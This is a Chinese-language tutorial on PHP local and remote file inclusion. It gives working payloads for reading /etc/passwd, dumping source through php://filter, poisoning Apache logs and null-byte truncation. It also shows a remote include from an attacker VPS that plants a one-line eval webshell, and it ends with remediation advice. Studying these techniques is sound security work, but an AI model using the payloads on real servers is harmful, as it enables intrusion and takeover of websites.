文件包含漏洞
本地文件包含(LFI)
漏洞成因
文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控
传入的文件名校验不严,能操作预想之外的文件,可能导致意外的文件泄露甚至恶意的代码注入
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞
利用条件
(1)include()
等函数通过动态变量的方式引入包含文件
(2)用户能够控制该动态变量
一、读取敏感文件
?arg=/etc/passwd
?arg=C:\Windows\System32\drivers\etc\hosts
二、利用封装协议读源码
?arg=php://filter/read=convert.base64-encode/resource=config.php
#这样能看到 php文件的源码
三、包含图片Webshell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码
四、包含apache日志Getshell
利用条件
知道日志文件access.log的存放位置。
默认位置:/var/log/httpd/access.log
相关原理
access.log文件记录了客户端每次请求的相关信息;
当我们访问一个不存在的资源时access.log文件仍然会记录这条资源信息。
如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,
我们就可以尝试访问
http://www.vuln.com/<?php phpinfo(); ?>
Apache会将这条信息记录在access.log文件中,这时如果我们访问access.log文件,就会触发文件包含漏洞。
理论上是这样的,但是实际上却是输入的代码被转义无法解析。
攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。
这时再查看Apache日志文件,显示的就是正常的测试代码。
这时访问:即可成功执行代码
http://www.vuln.com/index.php?arg=/var/log/httpd/access.log
五、截断包含
<?php
if(isset($_GET['arg']))
{
include($_GET['arg'].".php");
}else{
include(index.php);
}
?>
这样做一定程度上修复了漏洞, 上传图片一句话并访问:http://vuln.com/index.php?arg=1.jpg
会出错。因为包含文件里面不存在1.jpg.php这个文件。
但是如果输入http://vuln.com/index.php?arg=1.jpg%00
,就极有可能会绕过检测。
这种方法只适用于php.ini中magic_quotes_qpc=off并且PHP版本< 5.3.4的情况。
如果为on,%00会被转义,以至于无法截断。
远程文件包含
漏洞成因
服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,
从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的
利用条件
在 php.ini
中开启以下选项
allow_url_include on;
allow_url_fopen on;
远程包含Webshell
?arg=http://攻击者的VPS-IP/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马
shell.txt内容为
<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[1]) ?>'); ?>
修复建议
1)禁止远程文件包含 allow_url_include=off
2)配置 open_basedir=指定目录,限制访问区域
3)过滤../等特殊符号
4)尽量不要使用动态变量调用文件,直接写要包含的文件